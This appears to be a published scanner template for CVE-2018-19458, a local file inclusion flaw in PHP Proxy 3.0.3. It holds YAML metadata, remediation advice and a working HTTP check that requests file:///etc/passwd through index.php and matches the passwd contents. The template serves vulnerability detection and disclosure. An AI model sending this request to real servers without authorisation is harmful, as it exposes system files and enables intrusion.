CVE-2018-19458: PHP Proxy 3.0.3 - Local File Inclusion

2025-08-01 PHP Proxy PoC Public

Description

PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).

PoC

id: CVE-2018-19458

info:
  name: PHP Proxy 3.0.3 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
  remediation: |
    Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/45780
    - https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19458
    - https://www.exploit-db.com/exploits/45780/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-19458
    cwe-id: CWE-287
    epss-score: 0.32885
    epss-percentile: 0.98268
    cpe: cpe:2.3:a:php-proxy:php-proxy:3.0.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php-proxy
    product: php-proxy
  tags: cve,cve2018,edb,lfi,proxy,php-proxy,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?q=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022022c0a116fc4c54dc5595a6c8b6b7ba840809fe95d62af909f78ec2257687cbbf022100d96da4f917c6aa25e65b5f273d5f852c2a7fdc182a1b86a96052d7e994e2004a:922c64590222798bb761d5b6d8e72950

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